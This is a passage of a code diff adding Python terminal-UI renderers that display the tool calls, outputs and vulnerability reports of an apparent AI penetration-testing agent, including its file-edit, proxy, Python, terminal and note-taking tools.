"save_pdf": ("saving PDF to ", args.get("file_path")),
}
if action in handlers:
label, value = handlers[action]
text.append(label, style="#06b6d4")
if value:
text.append(str(value), style="#06b6d4")
return text
if action == "execute_js":
text.append("executing javascript", style="#06b6d4")
js_code = args.get("js_code")
if js_code:
text.append("\n")
text.append_text(cls._highlight_js(js_code))
return text
text.append(action, style="#06b6d4")
return text
@@ -0,0 +1,180 @@
from functools import cache
from typing import Any, ClassVar
from pygments.lexers import get_lexer_by_name, get_lexer_for_filename
from pygments.styles import get_style_by_name
from pygments.util import ClassNotFound
from rich.text import Text
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
@cache
def _get_style_colors() -> dict[Any, str]:
style = get_style_by_name("native")
return {token: f"#{style_def['color']}" for token, style_def in style if style_def["color"]}
def _get_lexer_for_file(path: str) -> Any:
try:
return get_lexer_for_filename(path)
except ClassNotFound:
return get_lexer_by_name("text")
@register_tool_renderer
class StrReplaceEditorRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "str_replace_editor"
css_classes: ClassVar[list[str]] = ["tool-call", "file-edit-tool"]
@classmethod
def _get_token_color(cls, token_type: Any) -> str | None:
colors = _get_style_colors()
while token_type:
if token_type in colors:
return colors[token_type]
token_type = token_type.parent
return None
@classmethod
def _highlight_code(cls, code: str, path: str) -> Text:
lexer = _get_lexer_for_file(path)
text = Text()
for token_type, token_value in lexer.get_tokens(code):
if not token_value:
continue
color = cls._get_token_color(token_type)
text.append(token_value, style=color)
return text
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
result = tool_data.get("result")
command = args.get("command", "")
path = args.get("path", "")
old_str = args.get("old_str", "")
new_str = args.get("new_str", "")
file_text = args.get("file_text", "")
text = Text()
icons_and_labels = {
"view": ("📖 ", "Reading file", "#10b981"),
"str_replace": ("✏️ ", "Editing file", "#10b981"),
"create": ("📝 ", "Creating file", "#10b981"),
"insert": ("✏️ ", "Inserting text", "#10b981"),
"undo_edit": ("↩️ ", "Undoing edit", "#10b981"),
}
icon, label, color = icons_and_labels.get(command, ("📄 ", "File operation", "#10b981"))
text.append(icon)
text.append(label, style=f"bold {color}")
if path:
path_display = path[-60:] if len(path) > 60 else path
text.append(" ")
text.append(path_display, style="dim")
if command == "str_replace" and (old_str or new_str):
if old_str:
highlighted_old = cls._highlight_code(old_str, path)
for line in highlighted_old.plain.split("\n"):
text.append("\n")
text.append("-", style="#ef4444")
text.append(" ")
text.append(line)
if new_str:
highlighted_new = cls._highlight_code(new_str, path)
for line in highlighted_new.plain.split("\n"):
text.append("\n")
text.append("+", style="#22c55e")
text.append(" ")
text.append(line)
elif command == "create" and file_text:
text.append("\n")
text.append_text(cls._highlight_code(file_text, path))
elif command == "insert" and new_str:
highlighted_new = cls._highlight_code(new_str, path)
for line in highlighted_new.plain.split("\n"):
text.append("\n")
text.append("+", style="#22c55e")
text.append(" ")
text.append(line)
elif isinstance(result, str) and result.strip():
text.append("\n ")
text.append(result.strip(), style="dim")
elif not (result and isinstance(result, dict) and "content" in result) and not path:
text.append(" ")
text.append("Processing...", style="dim")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@register_tool_renderer
class ListFilesRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "list_files"
css_classes: ClassVar[list[str]] = ["tool-call", "file-edit-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
path = args.get("path", "")
text = Text()
text.append("📂 ")
text.append("Listing files", style="bold #10b981")
text.append(" ")
if path:
path_display = path[-60:] if len(path) > 60 else path
text.append(path_display, style="dim")
else:
text.append("Current directory", style="dim")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@register_tool_renderer
class SearchFilesRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "search_files"
css_classes: ClassVar[list[str]] = ["tool-call", "file-edit-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
path = args.get("path", "")
regex = args.get("regex", "")
text = Text()
text.append("🔍 ")
text.append("Searching files", style="bold purple")
text.append(" ")
if path and regex:
text.append(path, style="dim")
text.append(" for '", style="dim")
text.append(regex, style="dim")
text.append("'", style="dim")
elif path:
text.append(path, style="dim")
elif regex:
text.append("'", style="dim")
text.append(regex, style="dim")
text.append("'", style="dim")
else:
text.append("Searching...", style="dim")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@@ -0,0 +1,64 @@
from typing import Any, ClassVar
from rich.padding import Padding
from rich.text import Text
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
FIELD_STYLE = "bold #4ade80"
BG_COLOR = "#141414"
@register_tool_renderer
class FinishScanRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "finish_scan"
css_classes: ClassVar[list[str]] = ["tool-call", "finish-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
executive_summary = args.get("executive_summary", "")
methodology = args.get("methodology", "")
technical_analysis = args.get("technical_analysis", "")
recommendations = args.get("recommendations", "")
text = Text()
text.append("🏁 ")
text.append("Finishing Scan", style="bold #dc2626")
if executive_summary:
text.append("\n\n")
text.append("Executive Summary", style=FIELD_STYLE)
text.append("\n")
text.append(executive_summary)
if methodology:
text.append("\n\n")
text.append("Methodology", style=FIELD_STYLE)
text.append("\n")
text.append(methodology)
if technical_analysis:
text.append("\n\n")
text.append("Technical Analysis", style=FIELD_STYLE)
text.append("\n")
text.append(technical_analysis)
if recommendations:
text.append("\n\n")
text.append("Recommendations", style=FIELD_STYLE)
text.append("\n")
text.append(recommendations)
if not (executive_summary or methodology or technical_analysis or recommendations):
text.append("\n ")
text.append("Generating final report...", style="dim")
padded = Padding(text, 2, style=f"on {BG_COLOR}")
css_classes = cls.get_css_classes("completed")
return Static(padded, classes=css_classes)
@@ -0,0 +1,133 @@
from typing import Any, ClassVar
from rich.text import Text
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
@register_tool_renderer
class CreateNoteRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "create_note"
css_classes: ClassVar[list[str]] = ["tool-call", "notes-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
title = args.get("title", "")
content = args.get("content", "")
category = args.get("category", "general")
text = Text()
text.append("📝 ")
text.append("Note", style="bold #fbbf24")
text.append(" ")
text.append(f"({category})", style="dim")
if title:
text.append("\n ")
text.append(title.strip())
if content:
text.append("\n ")
text.append(content.strip(), style="dim")
if not title and not content:
text.append("\n ")
text.append("Capturing...", style="dim")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@register_tool_renderer
class DeleteNoteRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "delete_note"
css_classes: ClassVar[list[str]] = ["tool-call", "notes-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: ARG003
text = Text()
text.append("📝 ")
text.append("Note Removed", style="bold #94a3b8")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@register_tool_renderer
class UpdateNoteRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "update_note"
css_classes: ClassVar[list[str]] = ["tool-call", "notes-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
title = args.get("title")
content = args.get("content")
text = Text()
text.append("📝 ")
text.append("Note Updated", style="bold #fbbf24")
if title:
text.append("\n ")
text.append(title)
if content:
text.append("\n ")
text.append(content.strip(), style="dim")
if not title and not content:
text.append("\n ")
text.append("Updating...", style="dim")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@register_tool_renderer
class ListNotesRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "list_notes"
css_classes: ClassVar[list[str]] = ["tool-call", "notes-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
result = tool_data.get("result")
text = Text()
text.append("📝 ")
text.append("Notes", style="bold #fbbf24")
if isinstance(result, str) and result.strip():
text.append("\n ")
text.append(result.strip(), style="dim")
elif result and isinstance(result, dict) and result.get("success"):
count = result.get("total_count", 0)
notes = result.get("notes", []) or []
if count == 0:
text.append("\n ")
text.append("No notes", style="dim")
else:
for note in notes:
title = note.get("title", "").strip() or "(untitled)"
category = note.get("category", "general")
note_content = note.get("content", "").strip()
text.append("\n - ")
text.append(title)
text.append(f" ({category})", style="dim")
if note_content:
text.append("\n ")
text.append(note_content, style="dim")
else:
text.append("\n ")
text.append("Loading...", style="dim")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@@ -0,0 +1,296 @@
from typing import Any, ClassVar
from rich.text import Text
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
@register_tool_renderer
class ListRequestsRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "list_requests"
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
result = tool_data.get("result")
httpql_filter = args.get("httpql_filter")
text = Text()
text.append("📋 ")
text.append("Listing requests", style="bold #06b6d4")
if isinstance(result, str) and result.strip():
text.append("\n ")
text.append(result.strip(), style="dim")
elif result and isinstance(result, dict) and "requests" in result:
requests = result["requests"]
if isinstance(requests, list) and requests:
for req in requests[:25]:
if isinstance(req, dict):
method = req.get("method", "?")
path = req.get("path", "?")
response = req.get("response") or {}
status = response.get("statusCode", "?")
text.append("\n ")
text.append(f"{method} {path}{status}", style="dim")
if len(requests) > 25:
text.append("\n ")
text.append(f"... +{len(requests) - 25} more", style="dim")
else:
text.append("\n ")
text.append("No requests found", style="dim")
elif httpql_filter:
filter_display = (
httpql_filter[:500] + "..." if len(httpql_filter) > 500 else httpql_filter
)
text.append("\n ")
text.append(filter_display, style="dim")
else:
text.append("\n ")
text.append("All requests", style="dim")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@register_tool_renderer
class ViewRequestRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "view_request"
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
result = tool_data.get("result")
part = args.get("part", "request")
text = Text()
text.append("👀 ")
text.append(f"Viewing {part}", style="bold #06b6d4")
if isinstance(result, str) and result.strip():
text.append("\n ")
text.append(result.strip(), style="dim")
elif result and isinstance(result, dict):
if "content" in result:
content = result["content"]
content_preview = content[:2000] + "..." if len(content) > 2000 else content
text.append("\n ")
text.append(content_preview, style="dim")
elif "matches" in result:
matches = result["matches"]
if isinstance(matches, list) and matches:
for match in matches[:25]:
if isinstance(match, dict) and "match" in match:
text.append("\n ")
text.append(match["match"], style="dim")
if len(matches) > 25:
text.append("\n ")
text.append(f"... +{len(matches) - 25} more matches", style="dim")
else:
text.append("\n ")
text.append("No matches found", style="dim")
else:
text.append("\n ")
text.append("Viewing content...", style="dim")
else:
text.append("\n ")
text.append("Loading...", style="dim")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@register_tool_renderer
class SendRequestRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "send_request"
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
result = tool_data.get("result")
method = args.get("method", "GET")
url = args.get("url", "")
text = Text()
text.append("📤 ")
text.append(f"Sending {method}", style="bold #06b6d4")
if isinstance(result, str) and result.strip():
text.append("\n ")
text.append(result.strip(), style="dim")
elif result and isinstance(result, dict):
status_code = result.get("status_code")
response_body = result.get("body", "")
if status_code:
text.append("\n ")
text.append(f"Status: {status_code}", style="dim")
if response_body:
body_preview = (
response_body[:2000] + "..." if len(response_body) > 2000 else response_body
)
text.append("\n ")
text.append(body_preview, style="dim")
else:
text.append("\n ")
text.append("Response received", style="dim")
elif url:
url_display = url[:500] + "..." if len(url) > 500 else url
text.append("\n ")
text.append(url_display, style="dim")
else:
text.append("\n ")
text.append("Sending...", style="dim")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@register_tool_renderer
class RepeatRequestRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "repeat_request"
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
result = tool_data.get("result")
modifications = args.get("modifications", {})
text = Text()
text.append("🔄 ")
text.append("Repeating request", style="bold #06b6d4")
if isinstance(result, str) and result.strip():
text.append("\n ")
text.append(result.strip(), style="dim")
elif result and isinstance(result, dict):
status_code = result.get("status_code")
response_body = result.get("body", "")
if status_code:
text.append("\n ")
text.append(f"Status: {status_code}", style="dim")
if response_body:
body_preview = (
response_body[:2000] + "..." if len(response_body) > 2000 else response_body
)
text.append("\n ")
text.append(body_preview, style="dim")
else:
text.append("\n ")
text.append("Response received", style="dim")
elif modifications:
mod_str = str(modifications)
mod_display = mod_str[:500] + "..." if len(mod_str) > 500 else mod_str
text.append("\n ")
text.append(mod_display, style="dim")
else:
text.append("\n ")
text.append("No modifications", style="dim")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@register_tool_renderer
class ScopeRulesRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "scope_rules"
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: ARG003
text = Text()
text.append("⚙️ ")
text.append("Updating proxy scope", style="bold #06b6d4")
text.append("\n ")
text.append("Configuring...", style="dim")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@register_tool_renderer
class ListSitemapRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "list_sitemap"
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
result = tool_data.get("result")
text = Text()
text.append("🗺️ ")
text.append("Listing sitemap", style="bold #06b6d4")
if isinstance(result, str) and result.strip():
text.append("\n ")
text.append(result.strip(), style="dim")
elif result and isinstance(result, dict) and "entries" in result:
entries = result["entries"]
if isinstance(entries, list) and entries:
for entry in entries[:30]:
if isinstance(entry, dict):
label = entry.get("label", "?")
kind = entry.get("kind", "?")
text.append("\n ")
text.append(f"{kind}: {label}", style="dim")
if len(entries) > 30:
text.append("\n ")
text.append(f"... +{len(entries) - 30} more entries", style="dim")
else:
text.append("\n ")
text.append("No entries found", style="dim")
else:
text.append("\n ")
text.append("Loading...", style="dim")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@register_tool_renderer
class ViewSitemapEntryRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "view_sitemap_entry"
css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
result = tool_data.get("result")
text = Text()
text.append("📍 ")
text.append("Viewing sitemap entry", style="bold #06b6d4")
if isinstance(result, str) and result.strip():
text.append("\n ")
text.append(result.strip(), style="dim")
elif result and isinstance(result, dict) and "entry" in result:
entry = result["entry"]
if isinstance(entry, dict):
label = entry.get("label", "")
kind = entry.get("kind", "")
if label and kind:
text.append("\n ")
text.append(f"{kind}: {label}", style="dim")
else:
text.append("\n ")
text.append("Entry details loaded", style="dim")
else:
text.append("\n ")
text.append("Entry details loaded", style="dim")
else:
text.append("\n ")
text.append("Loading...", style="dim")
css_classes = cls.get_css_classes("completed")
return Static(text, classes=css_classes)
@@ -0,0 +1,156 @@
import re
from functools import cache
from typing import Any, ClassVar
from pygments.lexers import PythonLexer
from pygments.styles import get_style_by_name
from rich.text import Text
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
MAX_OUTPUT_LINES = 50
MAX_LINE_LENGTH = 200
STRIP_PATTERNS = [
r"\.\.\. \[(stdout|stderr|result|output|error) truncated at \d+k? chars\]",
]
@cache
def _get_style_colors() -> dict[Any, str]:
style = get_style_by_name("native")
return {token: f"#{style_def['color']}" for token, style_def in style if style_def["color"]}
@register_tool_renderer
class PythonRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "python_action"
css_classes: ClassVar[list[str]] = ["tool-call", "python-tool"]
@classmethod
def _get_token_color(cls, token_type: Any) -> str | None:
colors = _get_style_colors()
while token_type:
if token_type in colors:
return colors[token_type]
token_type = token_type.parent
return None
@classmethod
def _highlight_python(cls, code: str) -> Text:
lexer = PythonLexer()
text = Text()
for token_type, token_value in lexer.get_tokens(code):
if not token_value:
continue
color = cls._get_token_color(token_type)
text.append(token_value, style=color)
return text
@classmethod
def _clean_output(cls, output: str) -> str:
cleaned = output
for pattern in STRIP_PATTERNS:
cleaned = re.sub(pattern, "", cleaned)
return cleaned.strip()
@classmethod
def _truncate_line(cls, line: str) -> str:
if len(line) > MAX_LINE_LENGTH:
return line[: MAX_LINE_LENGTH - 3] + "..."
return line
@classmethod
def _format_output(cls, output: str) -> Text:
text = Text()
lines = output.splitlines()
total_lines = len(lines)
head_count = MAX_OUTPUT_LINES // 2
tail_count = MAX_OUTPUT_LINES - head_count - 1
if total_lines <= MAX_OUTPUT_LINES:
display_lines = lines
truncated = False
hidden_count = 0
else:
display_lines = lines[:head_count]
truncated = True
hidden_count = total_lines - head_count - tail_count
for i, line in enumerate(display_lines):
truncated_line = cls._truncate_line(line)
text.append(" ")
text.append(truncated_line, style="dim")
if i < len(display_lines) - 1 or truncated:
text.append("\n")
if truncated:
text.append(f" ... {hidden_count} lines truncated ...", style="dim italic")
text.append("\n")
tail_lines = lines[-tail_count:]
for i, line in enumerate(tail_lines):
truncated_line = cls._truncate_line(line)
text.append(" ")
text.append(truncated_line, style="dim")
if i < len(tail_lines) - 1:
text.append("\n")
return text
@classmethod
def _append_output(cls, text: Text, result: dict[str, Any] | str) -> None:
if isinstance(result, str):
if result.strip():
text.append("\n")
text.append_text(cls._format_output(result))
return
stdout = result.get("stdout", "")
stderr = result.get("stderr", "")
stdout = cls._clean_output(stdout) if stdout else ""
stderr = cls._clean_output(stderr) if stderr else ""
if stdout:
text.append("\n")
formatted_output = cls._format_output(stdout)
text.append_text(formatted_output)
if stderr:
text.append("\n")
text.append(" stderr: ", style="bold #ef4444")
formatted_stderr = cls._format_output(stderr)
text.append_text(formatted_stderr)
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
status = tool_data.get("status", "unknown")
result = tool_data.get("result")
action = args.get("action", "")
code = args.get("code", "")
text = Text()
text.append("</> ", style="dim")
if code and action in ["new_session", "execute"]:
text.append_text(cls._highlight_python(code))
elif action == "close":
text.append("Closing session...", style="dim")
elif action == "list_sessions":
text.append("Listing sessions...", style="dim")
else:
text.append("Running...", style="dim")
if result and isinstance(result, dict | str):
cls._append_output(text, result)
css_classes = cls.get_css_classes(status)
return Static(text, classes=css_classes)
@@ -1,5 +1,6 @@
from typing import Any, ClassVar from typing import Any, ClassVar
from rich.text import Text
from textual.widgets import Static from textual.widgets import Static
from .base_renderer import BaseToolRenderer from .base_renderer import BaseToolRenderer
@@ -47,26 +48,32 @@ def render_tool_widget(tool_data: dict[str, Any]) -> Static:
def _render_default_tool_widget(tool_data: dict[str, Any]) -> Static: def _render_default_tool_widget(tool_data: dict[str, Any]) -> Static:
tool_name = BaseToolRenderer.escape_markup(tool_data.get("tool_name", "Unknown Tool")) tool_name = tool_data.get("tool_name", "Unknown Tool")
args = tool_data.get("args", {}) args = tool_data.get("args", {})
status = tool_data.get("status", "unknown") status = tool_data.get("status", "unknown")
result = tool_data.get("result") result = tool_data.get("result")
status_text = BaseToolRenderer.get_status_icon(status) text = Text()
header = f"→ Using tool [bold blue]{tool_name}[/]" text.append("→ Using tool ", style="dim")
content_parts = [header] text.append(tool_name, style="bold blue")
text.append("\n")
args_str = BaseToolRenderer.format_args(args) for k, v in list(args.items()):
if args_str: str_v = str(v)
content_parts.append(args_str) text.append(" ")
text.append(k, style="dim")
text.append(": ")
text.append(str_v)
text.append("\n")
if status in ["completed", "failed", "error"] and result is not None: if status in ["completed", "failed", "error"] and result is not None:
result_str = BaseToolRenderer.format_result(result) result_str = str(result)
if result_str: text.append("Result: ", style="bold")
content_parts.append(f"[bold]Result:[/] {result_str}") text.append(result_str)
else: else:
content_parts.append(status_text) icon, color = BaseToolRenderer.status_icon(status)
text.append(icon, style=color)
css_classes = BaseToolRenderer.get_css_classes(status) css_classes = BaseToolRenderer.get_css_classes(status)
return Static("\n".join(content_parts), classes=css_classes) return Static(text, classes=css_classes)
@@ -0,0 +1,221 @@
from functools import cache
from typing import Any, ClassVar
from pygments.lexers import PythonLexer
from pygments.styles import get_style_by_name
from rich.padding import Padding
from rich.text import Text
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
@cache
def _get_style_colors() -> dict[Any, str]:
style = get_style_by_name("native")
return {token: f"#{style_def['color']}" for token, style_def in style if style_def["color"]}
FIELD_STYLE = "bold #4ade80"
BG_COLOR = "#141414"
@register_tool_renderer
class CreateVulnerabilityReportRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "create_vulnerability_report"
css_classes: ClassVar[list[str]] = ["tool-call", "reporting-tool"]
SEVERITY_COLORS: ClassVar[dict[str, str]] = {
"critical": "#dc2626",
"high": "#ea580c",
"medium": "#d97706",
"low": "#65a30d",
"info": "#0284c7",
}
@classmethod
def _get_token_color(cls, token_type: Any) -> str | None:
colors = _get_style_colors()
while token_type:
if token_type in colors:
return colors[token_type]
token_type = token_type.parent
return None
@classmethod
def _highlight_python(cls, code: str) -> Text:
lexer = PythonLexer()
text = Text()
for token_type, token_value in lexer.get_tokens(code):
if not token_value:
continue
color = cls._get_token_color(token_type)
text.append(token_value, style=color)
return text
@classmethod
def _get_cvss_color(cls, cvss_score: float) -> str:
if cvss_score >= 9.0:
return "#dc2626"
if cvss_score >= 7.0:
return "#ea580c"
if cvss_score >= 4.0:
return "#d97706"
if cvss_score >= 0.1:
return "#65a30d"
return "#6b7280"
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: PLR0912, PLR0915
args = tool_data.get("args", {})
result = tool_data.get("result", {})
title = args.get("title", "")
description = args.get("description", "")
impact = args.get("impact", "")
target = args.get("target", "")
technical_analysis = args.get("technical_analysis", "")
poc_description = args.get("poc_description", "")
poc_script_code = args.get("poc_script_code", "")
remediation_steps = args.get("remediation_steps", "")
attack_vector = args.get("attack_vector", "")
attack_complexity = args.get("attack_complexity", "")
privileges_required = args.get("privileges_required", "")
user_interaction = args.get("user_interaction", "")
scope = args.get("scope", "")
confidentiality = args.get("confidentiality", "")
integrity = args.get("integrity", "")
availability = args.get("availability", "")
endpoint = args.get("endpoint", "")
method = args.get("method", "")
cve = args.get("cve", "")
severity = ""
cvss_score = None
if isinstance(result, dict):
severity = result.get("severity", "")
cvss_score = result.get("cvss_score")
text = Text()
text.append("🐞 ")
text.append("Vulnerability Report", style="bold #ea580c")
if title:
text.append("\n\n")
text.append("Title: ", style=FIELD_STYLE)
text.append(title)
if severity:
text.append("\n\n")
text.append("Severity: ", style=FIELD_STYLE)
severity_color = cls.SEVERITY_COLORS.get(severity.lower(), "#6b7280")
text.append(severity.upper(), style=f"bold {severity_color}")
if cvss_score is not None:
text.append("\n\n")
text.append("CVSS Score: ", style=FIELD_STYLE)
cvss_color = cls._get_cvss_color(cvss_score)
text.append(str(cvss_score), style=f"bold {cvss_color}")
if target:
text.append("\n\n")
text.append("Target: ", style=FIELD_STYLE)
text.append(target)
if endpoint:
text.append("\n\n")
text.append("Endpoint: ", style=FIELD_STYLE)
text.append(endpoint)
if method:
text.append("\n\n")
text.append("Method: ", style=FIELD_STYLE)
text.append(method)
if cve:
text.append("\n\n")
text.append("CVE: ", style=FIELD_STYLE)
text.append(cve)
if any(
[
attack_vector,
attack_complexity,
privileges_required,
user_interaction,
scope,
confidentiality,
integrity,
availability,
]
):
text.append("\n\n")
cvss_parts = []
if attack_vector:
cvss_parts.append(f"AV:{attack_vector}")
if attack_complexity:
cvss_parts.append(f"AC:{attack_complexity}")
if privileges_required:
cvss_parts.append(f"PR:{privileges_required}")
if user_interaction:
cvss_parts.append(f"UI:{user_interaction}")
if scope:
cvss_parts.append(f"S:{scope}")
if confidentiality:
cvss_parts.append(f"C:{confidentiality}")
if integrity:
cvss_parts.append(f"I:{integrity}")
if availability:
cvss_parts.append(f"A:{availability}")
text.append("CVSS Vector: ", style=FIELD_STYLE)
text.append("/".join(cvss_parts), style="dim")
if description:
text.append("\n\n")
text.append("Description", style=FIELD_STYLE)
text.append("\n")
text.append(description)
if impact:
text.append("\n\n")
text.append("Impact", style=FIELD_STYLE)
text.append("\n")
text.append(impact)
if technical_analysis:
text.append("\n\n")
text.append("Technical Analysis", style=FIELD_STYLE)
text.append("\n")
text.append(technical_analysis)
if poc_description:
text.append("\n\n")
text.append("PoC Description", style=FIELD_STYLE)
text.append("\n")
text.append(poc_description)
if poc_script_code:
text.append("\n\n")
text.append("PoC Code", style=FIELD_STYLE)
text.append("\n")
text.append_text(cls._highlight_python(poc_script_code))
if remediation_steps:
text.append("\n\n")
text.append("Remediation", style=FIELD_STYLE)
text.append("\n")
text.append(remediation_steps)
if not title:
text.append("\n ")
text.append("Creating report...", style="dim")
padded = Padding(text, 2, style=f"on {BG_COLOR}")
css_classes = cls.get_css_classes("completed")
return Static(padded, classes=css_classes)
@@ -0,0 +1,67 @@
from typing import Any, ClassVar
from rich.text import Text
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
@register_tool_renderer
class ScanStartInfoRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "scan_start_info"
css_classes: ClassVar[list[str]] = ["tool-call", "scan-info-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
status = tool_data.get("status", "unknown")
targets = args.get("targets", [])
text = Text()
text.append("🚀 Starting penetration test")
if len(targets) == 1:
text.append(" on ")
text.append(cls._get_target_display(targets[0]))
elif len(targets) > 1:
text.append(f" on {len(targets)} targets")
for target_info in targets:
text.append("\n")
text.append(cls._get_target_display(target_info))
css_classes = cls.get_css_classes(status)
return Static(text, classes=css_classes)
@classmethod
def _get_target_display(cls, target_info: dict[str, Any]) -> str:
original = target_info.get("original")
if original:
return str(original)
return "unknown target"
@register_tool_renderer
class SubagentStartInfoRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "subagent_start_info"
css_classes: ClassVar[list[str]] = ["tool-call", "subagent-info-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
status = tool_data.get("status", "unknown")
name = str(args.get("name", "Unknown Agent"))
task = str(args.get("task", ""))
text = Text()
text.append("", style="#a78bfa")
text.append("subagent ", style="dim")
text.append(name, style="bold #a78bfa")
if task:
text.append("\n ")
text.append(task, style="dim")
css_classes = cls.get_css_classes(status)
return Static(text, classes=css_classes)
@@ -0,0 +1,311 @@
import re
from functools import cache
from typing import Any, ClassVar
from pygments.lexers import get_lexer_by_name
from pygments.styles import get_style_by_name
from rich.text import Text
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
MAX_OUTPUT_LINES = 50
MAX_LINE_LENGTH = 200
STRIP_PATTERNS = [
(
r"\n?\[Command still running after [\d.]+s - showing output so far\.?"
r"\s*(?:Use C-c to interrupt if needed\.)?\]"
),
r"^\[Below is the output of the previous command\.\]\n?",
r"^No command is currently running\. Cannot send input\.$",
(
r"^A command is already running\. Use is_input=true to send input to it, "
r"or interrupt it first \(e\.g\., with C-c\)\.$"
),
]
@cache
def _get_style_colors() -> dict[Any, str]:
style = get_style_by_name("native")
return {token: f"#{style_def['color']}" for token, style_def in style if style_def["color"]}
@register_tool_renderer
class TerminalRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "terminal_execute"
css_classes: ClassVar[list[str]] = ["tool-call", "terminal-tool"]
CONTROL_SEQUENCES: ClassVar[set[str]] = {
"C-c",
"C-d",
"C-z",
"C-a",
"C-e",
"C-k",
"C-l",
"C-u",
"C-w",
"C-r",
"C-s",
"C-t",
"C-y",
"^c",
"^d",
"^z",
"^a",
"^e",
"^k",
"^l",
"^u",
"^w",
"^r",
"^s",
"^t",
"^y",
}
SPECIAL_KEYS: ClassVar[set[str]] = {
"Enter",
"Escape",
"Space",
"Tab",
"BTab",
"BSpace",
"DC",
"IC",
"Up",
"Down",
"Left",
"Right",
"Home",
"End",
"PageUp",
"PageDown",
"PgUp",
"PgDn",
"PPage",
"NPage",
"F1",
"F2",
"F3",
"F4",
"F5",
"F6",
"F7",
"F8",
"F9",
"F10",
"F11",
"F12",
}
@classmethod
def _get_token_color(cls, token_type: Any) -> str | None:
colors = _get_style_colors()
while token_type:
if token_type in colors:
return colors[token_type]
token_type = token_type.parent
return None
@classmethod
def _highlight_bash(cls, code: str) -> Text:
lexer = get_lexer_by_name("bash")
text = Text()
for token_type, token_value in lexer.get_tokens(code):
if not token_value:
continue
color = cls._get_token_color(token_type)
text.append(token_value, style=color)
return text
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
status = tool_data.get("status", "unknown")
result = tool_data.get("result")
command = args.get("command", "")
is_input = args.get("is_input", False)
content = cls._build_content(command, is_input, status, result)
css_classes = cls.get_css_classes(status)
return Static(content, classes=css_classes)
@classmethod
def _build_content(
cls, command: str, is_input: bool, status: str, result: dict[str, Any] | str | None
) -> Text:
text = Text()
